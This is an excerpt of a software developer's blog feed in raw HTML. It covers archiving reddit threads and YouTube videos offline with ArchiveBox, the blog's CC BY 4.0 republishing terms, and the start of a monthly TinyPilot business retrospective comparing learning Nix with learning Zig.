 srcset='https://mtlynch.io/notes/archivebox/add-reddit_hu_b8443aacc468afbd.png 300w, https://mtlynch.io/notes/archivebox/add-reddit_hu_4196663abe2d2243.png 600w, https://mtlynch.io/notes/archivebox/add-reddit_hu_837b47f468e2344a.png 800w, https://mtlynch.io/notes/archivebox/add-reddit_hu_b950183fd9fb7c52.png 1200w, https://mtlynch.io/notes/archivebox/add-reddit.png 1607w'
 src="https://mtlynch.io/notes/archivebox/add-reddit.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Within a few seconds, ArchiveBox had archived those posts and made them available to me locally, offline:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1436px">



 &lt;a href="https://mtlynch.io/notes/archivebox/reddit-archived.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1436px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/reddit-archived_hu_264f59eacf26ab83.png 300w, https://mtlynch.io/notes/archivebox/reddit-archived_hu_4da45232ff1f2e43.png 600w, https://mtlynch.io/notes/archivebox/reddit-archived_hu_c40e0507ff3647e.png 800w, https://mtlynch.io/notes/archivebox/reddit-archived_hu_fd79178fe72d84d8.png 1200w, https://mtlynch.io/notes/archivebox/reddit-archived.png 1434w'
 src="https://mtlynch.io/notes/archivebox/reddit-archived.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>ArchiveBox downloaded the three reddit threads so that they&amp;rsquo;re available offline&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>ArchiveBox downloads the page in a few formats: PDF, PNG, WARC, but one of the formats is single-file HTML, which I&amp;rsquo;d never heard of before:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="reddit-singlefile.html">Single-file snapshot of reddit thread&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Single-file HTML is a neat trick! It smushes all the HTML, JavaScript, and CSS into a single file. And it even base64-encodes images so they live in the same HTML file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">style&lt;/span>&amp;gt;&lt;span style="color:#a61717;background-color:#e3d2d2">:root{--sf-img-2: url(&amp;#34;data:image/gif;base64,R0lGODlhFQAQAIABAICAgP///yH5BAEAAAEALAAAAAAVABAAAAIajI...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s so cool to read reddit threads this way because it&amp;rsquo;s so &lt;em>fast&lt;/em>. I&amp;rsquo;ve just gotten used to how slow reddit and the rest of the web has gotten at loading a simple mostly-text page. It&amp;rsquo;s fun to see how browsing feels when you can browse a precomputed page locally.&lt;/p>
&lt;h2 id="archiving-youtube-videos">Archiving YouTube videos&lt;/h2>
&lt;p>There are more specialized tools for archiving YouTube videos, but ArchiveBox also bundles &lt;a href="https://github.com/yt-dlp/yt-dlp">yt-dlp&lt;/a>, so you can just hand it a YouTube URL, and it will archive the page and the video.&lt;/p>
&lt;p>If I want to make sure I always have a copy of the &lt;em>Lonely Island&lt;/em> / &lt;em>SNL&lt;/em> classic, &lt;a href="https://www.youtube.com/watch?v=NisCkxU544c">&amp;ldquo;Like a Boss,&amp;rdquo;&lt;/a> I can hand it to ArchiveBox like any other website.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1415px">



 &lt;a href="https://mtlynch.io/notes/archivebox/youtube-archived.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1415px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/youtube-archived_hu_50b4c048284b7f0a.png 300w, https://mtlynch.io/notes/archivebox/youtube-archived_hu_646e1a90c5c906cf.png 600w, https://mtlynch.io/notes/archivebox/youtube-archived_hu_d5082c7516483ab3.png 800w, https://mtlynch.io/notes/archivebox/youtube-archived_hu_6db3779bf0dc606f.png 1200w, https://mtlynch.io/notes/archivebox/youtube-archived.png 1413w'
 src="https://mtlynch.io/notes/archivebox/youtube-archived.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>ArchiveBox downloaded the YouTube video&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>ArchiveBox isn&amp;rsquo;t able to perfectly recreate the real YouTube experience, but it creates a snapshot of the page and then saves the video separately:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1274px">



 &lt;a href="https://mtlynch.io/notes/archivebox/youtube-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1274px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/youtube-screenshot_hu_64b6cc991b916daf.png 300w, https://mtlynch.io/notes/archivebox/youtube-screenshot_hu_7459ab560eb3731a.png 600w, https://mtlynch.io/notes/archivebox/youtube-screenshot_hu_b66ccae9b59095b9.png 800w, https://mtlynch.io/notes/archivebox/youtube-screenshot_hu_284b0ff779863ffa.png 1200w, https://mtlynch.io/notes/archivebox/youtube-screenshot.png 1272w'
 src="https://mtlynch.io/notes/archivebox/youtube-screenshot.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>
















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 618px">



 &lt;a href="https://mtlynch.io/notes/archivebox/like-a-boss-webm.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 618px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/like-a-boss-webm_hu_4efaa9e46dd27561.webp 300w, https://mtlynch.io/notes/archivebox/like-a-boss-webm_hu_ec229bd0b9af6c74.webp 600w, https://mtlynch.io/notes/archivebox/like-a-boss-webm.webp 616w'
 src="https://mtlynch.io/notes/archivebox/like-a-boss-webm.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>




 &lt;/div>
 &lt;figcaption>&lt;p>ArchiveBox can&amp;rsquo;t perfectly archive a YouTube page, so it instead shows a still image insted of the video player and saves the video to a separate file&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="why-does-this-feel-so-familiar">Why does this feel so familiar?&lt;/h2>
&lt;p>When I looked at the contributor list for ArchiveBox, I noticed a familiar name at the top, &lt;a href="https://nicksweeting.com/">Nick Sweeting&lt;/a>. I know him! I met him at PyGotham in 2019.&lt;/p>
&lt;p>I scrubbed through the video of Nick&amp;rsquo;s talk and realized Nick actually demo&amp;rsquo;ed ArchiveBox at that same conference five years ago. I &lt;a href="https://mtlynch.io/retrospectives/pygotham-2019-notes/#archiving-the-internet-before-it-all-rots-away">wrote about his talk&lt;/a> at the time, but I guess ArchiveBox didn&amp;rsquo;t stick with me for whatever reason.&lt;/p>
&lt;p>In the years since seeing Nick&amp;rsquo;s talk, ArchiveBox has clearly matured, and I&amp;rsquo;ve realized a greater need for archiving, so I&amp;rsquo;m glad to have rediscovered it.&lt;/p>
&lt;h2 id="resources">Resources&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://archivebox.io">ArchiveBox&lt;/a> - A free, open-source tool for creating local, private archives of webpages.&lt;/li>
&lt;li>&lt;a href="https://web.archive.org/">archive.org&amp;rsquo;s Internet Wayback Machine&lt;/a> - A public archive of the web going back to 1996.&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Republish or Adapt this Content</title><link>https://mtlynch.io/how-to-republish-adapt/</link><pubDate>Fri, 12 Jan 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/how-to-republish-adapt/</guid><description>&lt;p>All original writing and images on this blog are released under the &lt;a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons Attribution 4.0 International License&lt;/a>.&lt;/p>
&lt;p>That means you can republish the content or adapt it as long as you honor the license.&lt;/p>
&lt;h2 id="what-youre-allowed-to-do">What you&amp;rsquo;re allowed to do&lt;/h2>
&lt;ul>
&lt;li>&lt;strong>Republish&lt;/strong> the content in any medium or format, even for commercial purposes.&lt;/li>
&lt;li>&lt;strong>Adapt&lt;/strong> the content by changing the wording, translating it to other languages, or expanding on what I wrote.&lt;/li>
&lt;/ul>
&lt;h2 id="what-youre-required-to-do">What you&amp;rsquo;re required to do&lt;/h2>
&lt;p>If you republish, adapt, or translate content from this website, you&amp;rsquo;re required to:&lt;/p></description><content:encoded>&lt;p>All original writing and images on this blog are released under the &lt;a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons Attribution 4.0 International License&lt;/a>.&lt;/p>
&lt;p>That means you can republish the content or adapt it as long as you honor the license.&lt;/p>
&lt;h2 id="what-youre-allowed-to-do">What you&amp;rsquo;re allowed to do&lt;/h2>
&lt;ul>
&lt;li>&lt;strong>Republish&lt;/strong> the content in any medium or format, even for commercial purposes.&lt;/li>
&lt;li>&lt;strong>Adapt&lt;/strong> the content by changing the wording, translating it to other languages, or expanding on what I wrote.&lt;/li>
&lt;/ul>
&lt;h2 id="what-youre-required-to-do">What you&amp;rsquo;re required to do&lt;/h2>
&lt;p>If you republish, adapt, or translate content from this website, you&amp;rsquo;re required to:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Give attribution&lt;/strong> by naming Michael Lynch as the author.&lt;/li>
&lt;li>&lt;strong>Link to the original source&lt;/strong> at &lt;a href="https://mtlynch.io">mtlynch.io&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Link to the license&lt;/strong> at &lt;a href="https://creativecommons.org">creativecommons.org&lt;/a>, indicating that the original work was released under the license and any derivative works are also under the same license.&lt;/li>
&lt;li>&lt;strong>Indicate changes&lt;/strong> if you made any changes to the content.&lt;/li>
&lt;/ul>
&lt;h2 id="example-attributions">Example attributions&lt;/h2>
&lt;h3 id="republishing-an-article-with-no-changes">Republishing an article with no changes&lt;/h3>
&lt;p>If you republish an article from this site with no modifications, you can use an attribution notice that looks like this:&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="https://mtlynch.io/code-review-love/">&amp;ldquo;How to Make Your Code Reviewer Fall in Love with You&amp;rdquo;&lt;/a> by Michael Lynch is licensed under &lt;a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;h3 id="republishing-an-article-as-a-translation-to-another-language">Republishing an article as a translation to another language&lt;/h3>
&lt;p>If you translate an article from this site into another language, you can use an attribution notice like the following:&lt;/p>
&lt;blockquote>
&lt;p>This article is licensed under &lt;a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0&lt;/a> by &amp;lt;Your Name&amp;gt;. It is a translation of the original article, &lt;a href="https://mtlynch.io/code-review-love/">&amp;ldquo;How to Make Your Code Reviewer Fall in Love with You,&amp;rdquo;&lt;/a> by Michael Lynch, used under &lt;a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;h3 id="adapting-an-article">Adapting an article&lt;/h3>
&lt;p>If you republish an article from this site but make changes to the writing or images, you can use an attribution notice like the following, which makes it clear that you&amp;rsquo;ve diverged from the original:&lt;/p>
&lt;blockquote>
&lt;p>This article, &amp;ldquo;Tips for Great Code Reviews,&amp;rdquo; is licensed under &lt;a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0&lt;/a> by &amp;lt;Your Name&amp;gt;. It was adapted from &lt;a href="https://mtlynch.io/code-review-love/">&amp;ldquo;How to Make Your Code Reviewer Fall in Love with You,&amp;rdquo;&lt;/a> by Michael Lynch, used under &lt;a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0&lt;/a>.&lt;/p>&lt;/blockquote></content:encoded></item><item><title>TinyPilot: Month 42</title><link>https://mtlynch.io/retrospectives/2024/01/</link><pubDate>Tue, 09 Jan 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/01/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I think about how I can do a better job delegating product decisions and documentation.&lt;/li>
&lt;li>I compare my experience learning Nix to learning Zig.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I think about how I can do a better job delegating product decisions and documentation.&lt;/li>
&lt;li>I compare my experience learning Nix to learning Zig.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="complete-design-work-for-tinypilot-license-checking">Complete design work for TinyPilot license checking&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The design document is finished and reviewed.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We now have a plan in place for how we&amp;rsquo;ll check that TinyPilot customers still have active licenses before they update to the latest version. We&amp;rsquo;ll need to fill in some details once we pick a third-party license management solution (we&amp;rsquo;re leaning towards &lt;a href="https://keygen.sh/">Keygen&lt;/a>), but we&amp;rsquo;ve figured out the major pieces.&lt;/p>
&lt;h3 id="create-a-process-for-spot-checking-each-manufacturing-batch-of-new-devices">Create a process for spot-checking each manufacturing batch of new devices&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I didn&amp;rsquo;t do this.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>This is partially due to time constraints. I had to unexpectedly work around a few issues with our vendors, and that took up a bit of my time.&lt;/p>
&lt;p>The other issue is that this is an unpleasant task, so I procrastinated. It&amp;rsquo;s an important thing to do because we want to catch manufacturing errors early, but it requires making a special request to our 3PL, who historically hasn&amp;rsquo;t been so cooperative.&lt;/p>
&lt;h3 id="handle-tinypilots-end-of-year-tax-chores">Handle TinyPilot&amp;rsquo;s end-of-year tax chores&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We collected W-9 forms from all of our vendors.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>This is now complete, and I have a better understanding of who needs to give us W-9 forms. I can avoid making it a last-minute task in the future.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2023&lt;/th>
 &lt;th>December 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,400&lt;/td>
 &lt;td>6,700&lt;/td>
 &lt;td>&lt;font color="green">+300 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$84,055.05&lt;/td>
 &lt;td>$75,198.00&lt;/td>
 &lt;td>&lt;font color="red">-$8,857.05 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,824.46&lt;/td>
 &lt;td>$1,792.51&lt;/td>
 &lt;td>&lt;font color="red">-$1,031.95 (-37%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$87,170.21&lt;/td>
 &lt;td>$77,281.21&lt;/td>
 &lt;td>&lt;font color="red">-$9,889.00 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$5,407.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$59,117.41&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$53,709.45 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Revenue is down slightly from November, but that&amp;rsquo;s a seasonal trend that happens every year. Our normal range seems to be $75-90k/month, so we&amp;rsquo;re at the low end of our normal, but not worryingly so.&lt;/p>
&lt;p>Profit looks scary because I&amp;rsquo;m still doing bookkeeping on a cash basis, even though we&amp;rsquo;re spending a lot more on manufacturing up front due to shifting to a third-party contract manufacturer. In the fourth quarter, TinyPilot spent $150k on materials and manufacturing, the most we&amp;rsquo;ve ever spent in a quarter. On a cost of goods sold (COGS) basis, TinyPilot&amp;rsquo;s profit for December was actually $9k (as in, positive $9k).&lt;/p>
&lt;p>Still, I&amp;rsquo;ve been neglecting marketing as I focus on managing our transition to external manufacturing and fulfillment vendors. TinyPilot has fortunately grown without much investment in marketing over the past few months, but I can&amp;rsquo;t bank on that forever, so one of my goals in January is to explore some new marketing channels.&lt;/p>
&lt;h2 id="can-i-delegate-hard-product-decisions">Can I delegate hard product decisions?&lt;/h2>
&lt;p>When I think about where my time is going these days, I see a large portion of it going to what I&amp;rsquo;d call &amp;ldquo;hard product decisions.&amp;rdquo; This is the time I spend thinking about which features TinyPilot needs, how much to invest in them, and how to reprioritize resources when we run into surprises.&lt;/p>
&lt;p>I&amp;rsquo;ve tried to delegate hard product decisions to the TinyPilot team, but I haven&amp;rsquo;t made much progress.&lt;/p>
&lt;p>It would be great if I could create a chart showing how much a feature costs vs. how much it will satisfy users, and then tell the team to stay above the line.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/01/csat-v-dev-cost.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/01/csat-v-dev-cost_hu_ed76b838e188a24e.webp 300w, https://mtlynch.io/retrospectives/2024/01/csat-v-dev-cost.webp 488w'
 src="https://mtlynch.io/retrospectives/2024/01/csat-v-dev-cost.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I wish I could just define a curve of customer satisfaction vs. development cost and advise the team to just stay above the curve.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But there are many more factors for deciding how much to invest in a new feature, including:&lt;/p>
&lt;ul>
&lt;li>Will this feature cause confusion / clutter for users who don&amp;rsquo;t need it?&lt;/li>
&lt;li>What will the long-term burden be of maintaining this feature?&lt;/li>
&lt;li>How will this feature impact our support teams?&lt;/li>
&lt;/ul>
&lt;p>And even if I could create this multidimensional chart, it&amp;rsquo;s hard to make meaningful estimates about all the variables. One person might think that 5% of users will benefit from a feature, while another equally reasonable teammate might estimate that it&amp;rsquo;s 15%. That one variable changes the value of the feature by a factor of 3. When you combine all the variables, two people might come up with return on investment estimates that are 100x different.&lt;/p>
&lt;p>It feels highfalutin to say, but the person who makes the final call has to have &amp;ldquo;product vision.&amp;rdquo; They need to be connected with customers, the dev team, and the support teams. And for TinyPilot, the only person in that position is me.&lt;/p>
&lt;p>One possible solution is to hire a product manager whose job is to take high-level strategy, turn that into a plan, and execute it with the team. That&amp;rsquo;s not very practical, as it&amp;rsquo;s an additional person to manage and loop into communications with the team. I&amp;rsquo;m currently managing six people, and that feels like my upper bound on how many people I can manage effectively.&lt;/p>
&lt;p>Another possibility is to give an existing team member product manager responsibilities, but that also feels impractical. It&amp;rsquo;s not just another chore like bringing in the mail in the morning — they&amp;rsquo;d have to be looped in on almost all of the customer and team interactions, so it&amp;rsquo;s another 10-20 hours per week of work. And even if we did that, I&amp;rsquo;m not sure I could train someone to the point where they&amp;rsquo;re making sound product decisions.&lt;/p>
&lt;p>My plan now is to continue giving the dev team high-level strategy and a rough budget of dev hours for bugs and feature work. That&amp;rsquo;s been working, but I&amp;rsquo;m still searching for ways to facilitate them making more decisions autonomously.&lt;/p>
&lt;h2 id="can-i-do-a-better-job-of-delegating-documentation">Can I do a better job of delegating documentation?&lt;/h2>
&lt;p>I&amp;rsquo;m particular about documentation. If I see ways to improve it, I don&amp;rsquo;t want to publish until we&amp;rsquo;ve made it as good as it can be.&lt;/p>
&lt;p>I still review all of TinyPilot&amp;rsquo;s blog posts, FAQs, and tutorials, and I&amp;rsquo;m frequently the bottleneck on publishing. And I feel like a large chunk of my founder time goes to documentation review.&lt;/p>
&lt;p>It&amp;rsquo;s not so much that I spend so many raw hours on documentation, but I use a lot of my &amp;ldquo;deep thinking&amp;rdquo; budget on reviewing documentation. I&amp;rsquo;m capable of about one hour of writing per day. Reviewing other people&amp;rsquo;s writing is even more draining than writing myself. Because not only am I thinking about how to express an idea, I have to think about why I&amp;rsquo;m choosing to express it that way.&lt;/p>
&lt;p>I used to struggle with perfectionism in code reviews and had to learn to &lt;a href="https://mtlynch.io/human-code-reviews-2/#aim-to-bring-the-code-up-a-letter-grade-or-two">let little things go&lt;/a>. It&amp;rsquo;s okay if the code isn&amp;rsquo;t as beautiful as possible because it doesn&amp;rsquo;t impact the user experience. But everyone can see documentation, and there&amp;rsquo;s a tangible difference between A-grade writing and B-grade writing.&lt;/p>
&lt;p>So, how do I keep writing standards high without making myself a dependency in the process?&lt;/p>
&lt;p>I&amp;rsquo;ve considered pulling in a freelance technical writer, but that would complicate our writing pipeline. I also worry that a dedicated writer would discourage people from improving their writing. They might feel like, &amp;ldquo;I&amp;rsquo;ll write whatever I want, and it&amp;rsquo;s the technical writer&amp;rsquo;s job to fix it.&amp;rdquo;&lt;/p>
&lt;p>One of the challenges I run into when reviewing writing is that I have a model in my head of what the typical TinyPilot customer is like, and I don&amp;rsquo;t know how to articulate that model accurately to other people. And even when others understand the model, it&amp;rsquo;s hard for them to write in a way that fits TinyPilot&amp;rsquo;s customer model.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/01/write-for-the-average.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/01/write-for-the-average_hu_9b3d9bd217f30c8b.png 300w, https://mtlynch.io/retrospectives/2024/01/write-for-the-average_hu_763a501948310eab.png 600w, https://mtlynch.io/retrospectives/2024/01/write-for-the-average.png 755w'
 src="https://mtlynch.io/retrospectives/2024/01/write-for-the-average.png" alt="Write for the average TinyPilot customer. The average TinyPilot customer understands these terms: Ethernet, WiFi, Local network, Keyboard / mouse input, USB / USB-C / USB 3.0, AC adapter, HDMI / VGA, Router / switch, Web browser, SSH. We assume that the average TinyPilot customer **does not** understand these terms / concepts: cached , PCB / HAT , audio breakout board , VPN , EDID , virtual display , NTP server. The best way to avoid confusing customers is to speak in terms they already understand. If that’s not possible, you can still use terms that customers might not recognize, but you should first define them." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Excerpt from TinyPilot&amp;rsquo;s internal style guide about level of technical jargon to use&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Perhaps one way of improving this is to revisit past reviews and look for patterns. If I see patterns, I can say, &amp;ldquo;Before you send this out for review, check for whether there are sections that would benefit from a screenshot, check that you&amp;rsquo;re explaining new terms before you use them, etc.&amp;rdquo;&lt;/p>
&lt;p>We have a team subscription to Grammarly, but it doesn&amp;rsquo;t fit well with our workflows. People maybe use it on the first draft, but nobody wants to keep copy/pasting an entire article into Grammarly after every edit. I&amp;rsquo;ve looked at &lt;a href="https://vale.sh">Vale&lt;/a>, which is developer-oriented, but it seems primitive relative to Grammarly. Maybe we could configure Vale with some low-noise checks, so I&amp;rsquo;ll give it a shot.&lt;/p>
&lt;h2 id="learning-nix-vs-learning-zig">Learning Nix vs. learning Zig&lt;/h2>
&lt;p>One of the results of shifting TinyPilot&amp;rsquo;s manufacturing and fulfillment to third-party vendors is that I&amp;rsquo;ve had more time and mental bandwidth to learn new technologies. The two technologies I&amp;rsquo;ve been eyeing from afar for the past two years are &lt;a href="https://mtlynch.io/tags/nix/">Nix&lt;/a> and &lt;a href="https://mtlynch.io/tags/zig/">Zig&lt;/a>, and I finally got to experiment with both of them toward the end of 2023.&lt;/p>
&lt;p>Having learned both to a beginner level, it&amp;rsquo;s interesting to compare my experience learning Nix to my experience learning Zig.&lt;/p>
&lt;h3 id="i-learn-zig-by-reasoning--i-learn-nix-through-copypaste">I learn Zig by reasoning — I learn Nix through copy/paste&lt;/h3>
&lt;p>One of the complaints I&amp;rsquo;ve heard about Zig is that it has poor documentation. I&amp;rsquo;ve found the documentation to be pretty terse and written &lt;a href="https://mtlynch.io/notes/zig-unit-test-c/#converting-a-zig-type-to-a-c-type">more from the perspective of a compiler designer than a developer&lt;/a>, but I&amp;rsquo;m still able to scour discussions and experiment until I have an accurate mental model of Zig.&lt;/p>
&lt;p>After six months of using Nix, I still have a terrible mental model of Nix. I&amp;rsquo;ve read multiple explanations, but the concepts haven&amp;rsquo;t quite crystallized for me. When I create Nix files, I can only do it by copying an existing example and adjusting it to match what I want. Most of the file is just boilerplate, and I don&amp;rsquo;t understand why it is the way it is.&lt;/p>
&lt;p>When I hit an error in Zig, I can usually &lt;a href="https://mtlynch.io/notes/zig-unit-test-c/#calling-ustreamer-code-from-zig">reason through it&lt;/a> to understand what the compiler is telling me. When I hit an error in Nix, I feel completely helpless.&lt;/p>
&lt;p>I think one major difference is that I have a lot of development experience in C-style languages and no experience in pure functional languages. Zig is aimed at C and C++ developers, so the concepts make sense to me as someone who has worked in those languages for ten years.&lt;/p>
&lt;p>Nix seems very inspired by Haskell and other functional languages, which I&amp;rsquo;ve never learned. For a Haskell developer, Nix would probably feel more intuitive, and they might be confused by Zig&amp;rsquo;s focus on pointers and memory allocators, which are not as prominent in functional languages.&lt;/p>
&lt;h3 id="developer-experience-on-zig-feels-narrow-but-deep-whereas-nix-feels-wide-and-shallow">Developer experience on Zig feels narrow but deep, whereas Nix feels wide and shallow&lt;/h3>
&lt;p>Zig doesn&amp;rsquo;t have tooling for &lt;a href="https://news.ycombinator.com/item?id=38837410">package management&lt;/a> or code coverage. One of my disappointments with Zig so far has been that its support for microcrontrollers seems &lt;a href="https://github.com/ZigEmbeddedGroup">mostly absent&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/01/zig-embedded-support.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/01/zig-embedded-support_hu_cbe688fa5c0fd282.png 300w, https://mtlynch.io/retrospectives/2024/01/zig-embedded-support_hu_4b48734d785a2eab.png 600w, https://mtlynch.io/retrospectives/2024/01/zig-embedded-support_hu_6e7a71900d1abcb.png 800w, https://mtlynch.io/retrospectives/2024/01/zig-embedded-support.png 844w'
 src="https://mtlynch.io/retrospectives/2024/01/zig-embedded-support.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zig has immature or non-existent support for all popular microcontrollers except the Raspberry Pi Pico.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But when Zig claims it can do something, it does it well. I was skeptical of its claims that it can be a drop-in replacement for &lt;code>gcc&lt;/code>, but every time I&amp;rsquo;ve swapped out &lt;code>gcc&lt;/code> for &lt;code>zig&lt;/code>, everything just works. Zig claims that you can just import a &lt;code>.c&lt;/code> file into a Zig file, and &lt;a href="https://mtlynch.io/notes/zig-call-c-simple/">you can&lt;/a>.&lt;/p>
&lt;p>My experience with Nix is that Nix attempts to do a much broader set of things, from simple things like &lt;a href="https://nixos.wiki/wiki/Node.js">building a Node.js project&lt;/a> to grand things like &lt;a href="https://nixos.org/">building and managing an entire OS&lt;/a>.&lt;/p>
&lt;p>When my project perfectly matches what the Nix tooling expects, then everything works great. But I frequently run into situations where my setup is slightly different from what the Nix tooling expects, and I hit a brick wall. For example, I &lt;a href="https://github.com/nix-community/pyproject.nix/issues/46#issuecomment-1869238745">still can&amp;rsquo;t figure out&lt;/a> how to run arbitrary Python projects under Nix.&lt;/p>
